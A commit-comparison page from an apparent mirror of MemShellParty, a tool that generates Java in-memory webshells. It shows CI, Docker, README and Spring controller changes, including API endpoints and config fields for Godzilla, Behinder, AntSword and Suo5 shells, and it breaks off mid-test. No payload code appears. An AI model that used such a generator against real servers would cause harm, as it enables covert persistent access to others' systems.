mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 | ||
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../CHANGELOG.md") as f:
|
with open("../../web/content/docs/changelog.mdx") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -25,6 +25,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -35,7 +40,7 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ jobs:
|
|||||||
sleep 10
|
sleep 10
|
||||||
- name: Test with curl
|
- name: Test with curl
|
||||||
run: |
|
run: |
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||||
echo "Test successful!"
|
echo "Test successful!"
|
||||||
else
|
else
|
||||||
echo "Test failed!"
|
echo "Test failed!"
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ jobs:
|
|||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
@@ -48,6 +48,8 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
|
- middleware: "struct2"
|
||||||
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ jobs:
|
|||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
@@ -42,8 +42,8 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
|
|||||||
@@ -47,6 +47,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
|
|||||||
+3
-3
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 移除之前部署的
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
## User Guide
|
|
||||||
|
|
||||||
1. [适配情况](./docs/Compatibility.md)
|
|
||||||
2. [本地构建](./docs/BuildOnLocal.md)
|
|
||||||
3. [SDK 集成](./examples/memshell-party-maven-example)
|
|
||||||
4. [代码贡献](./CONTRIBUTING.md)
|
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.3"
|
id("org.springframework.boot") version "3.5.7"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -23,7 +23,6 @@ configurations {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":packer")) {
|
implementation(project(":packer")) {
|
||||||
@@ -34,7 +33,7 @@ dependencies {
|
|||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
}
|
}
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/api/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,7 +17,7 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/config")
|
@RequestMapping("/api/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
|||||||
+6
-6
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -19,7 +19,7 @@ import java.util.Base64;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/memshell/generate")
|
@RequestMapping("/api/memshell/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class MemShellGeneratorController {
|
public class MemShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
|||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
}
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/probe/generate")
|
@RequestMapping("/api/probe/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ProbeShellGeneratorController {
|
public class ProbeShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/version")
|
@RequestMapping("/api/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,16 +1,76 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@Slf4j
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "index";
|
return "redirect:/ui";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/api/search", "/api/search.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(1);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(4);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@GetMapping("/ui/**")
|
||||||
|
public String handleHtmlView(HttpServletRequest request) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
|
return "index";
|
||||||
|
}
|
||||||
|
String viewPath = fullPath.substring(4);
|
||||||
|
return viewPath + "/index";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
|
try {
|
||||||
|
String templatePath = "templates/" + relativePath;
|
||||||
|
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||||
|
if (!resource.exists()) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
|
return "File not found: " + relativePath;
|
||||||
|
}
|
||||||
|
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
||||||
|
response.setCharacterEncoding("UTF-8");
|
||||||
|
InputStreamReader reader = new InputStreamReader(
|
||||||
|
resource.getInputStream(),
|
||||||
|
StandardCharsets.UTF_8
|
||||||
|
);
|
||||||
|
return FileCopyUtils.copyToString(reader);
|
||||||
|
} catch (IOException e) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||||
|
return "Error reading file: " + e.getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,9 +2,7 @@ package com.reajason.javaweb.boot.dto;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
@@ -20,11 +18,12 @@ public class MemShellGenerateRequest {
|
|||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
static class ShellToolConfigDTO {
|
public static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -52,10 +51,11 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
private String reqHeaderName;
|
private String commandTemplate;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
.reqHeaderName(probeContentConfig.reqHeaderName)
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
|
mvc:
|
||||||
|
pathmatch:
|
||||||
|
matching-strategy: ant_path_matcher
|
||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
